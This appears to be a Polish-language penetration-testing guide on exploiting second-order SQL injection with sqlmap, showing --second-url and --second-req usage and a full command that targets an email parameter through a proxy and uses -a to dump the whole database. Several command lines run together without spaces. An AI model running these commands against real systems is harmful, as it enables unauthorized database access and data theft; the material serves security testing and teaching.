SQLMap może wykorzystać drugorzędne SQLi.
Musisz podać:
żądanie, w którym ładunek sqlinjection będzie zapisany
żądanie, w którym ładunek zostanie wykonany
Żądanie, w którym ładunek SQL injection jest zapisany, jest wskazane jak w każdej innej iniekcji w sqlmap. Żądanie gdzie sqlmap może odczytać wynik/wykonanie iniekcji można wskazać za pomocą --second-url lub --second-req, jeśli musisz wskazać pełne żądanie z pliku.
Prosty przykład drugorzędny:
#Get the SQL payload execution with a GET to a urlsqlmap-rlogin.txt-pusername--second-url"http://10.10.10.10/details.php"#Get the SQL payload execution sending a custom request from a filesqlmap-rlogin.txt-pusername--second-reqdetails.txt
W kilku przypadkach to nie wystarczy, ponieważ będziesz musiał wykonać inne działania oprócz wysłania ładunku i uzyskania dostępu do innej strony.
Kiedy to jest potrzebne, możesz użyć sqlmap tamper. Na przykład, poniższy skrypt zarejestruje nowego użytkownika używając ładunku sqlmap jako email i wyloguje się.
A SQLMap tamper jest zawsze wykonywany przed rozpoczęciem próby wstrzyknięcia z ładunkiemi musi zwrócić ładunek. W tym przypadku nie zależy nam na ładunku, ale na wysłaniu kilku żądań, więc ładunek nie jest zmieniany.
Więc, jeśli z jakiegoś powodu potrzebujemy bardziej złożonego przepływu, aby wykorzystać drugorzędne wstrzyknięcie SQL, jak:
Utwórz konto z ładunkiem SQLi w polu "email"
Wyloguj się
Zaloguj się na to konto (login.txt)
Wyślij żądanie, aby wykonać wstrzyknięcie SQL (second.txt)
Ta linia sqlmap pomoże:
sqlmap --tamper tamper.py -r login.txt -p email --second-req second.txt --proxy http://127.0.0.1:8080 --prefix "a2344r3F'" --technique=U --dbms mysql --union-char "DTEC" -a
########### --tamper tamper.py : Indicates the tamper to execute before trying each SQLipayload# -r login.txt : Indicates the request to send the SQLi payload# -p email : Focus on email parameter (you can do this with an "email=*" inside login.txt# --second-req second.txt : Request to send to execute the SQLi and get the ouput# --proxy http://127.0.0.1:8080 : Use this proxy# --technique=U : Help sqlmap indicating the technique to use# --dbms mysql : Help sqlmap indicating the dbms# --prefix "a2344r3F'" : Help sqlmap detecting the injection indicating the prefix# --union-char "DTEC" : Help sqlmap indicating a different union-char so it can identify the vuln# -a : Dump all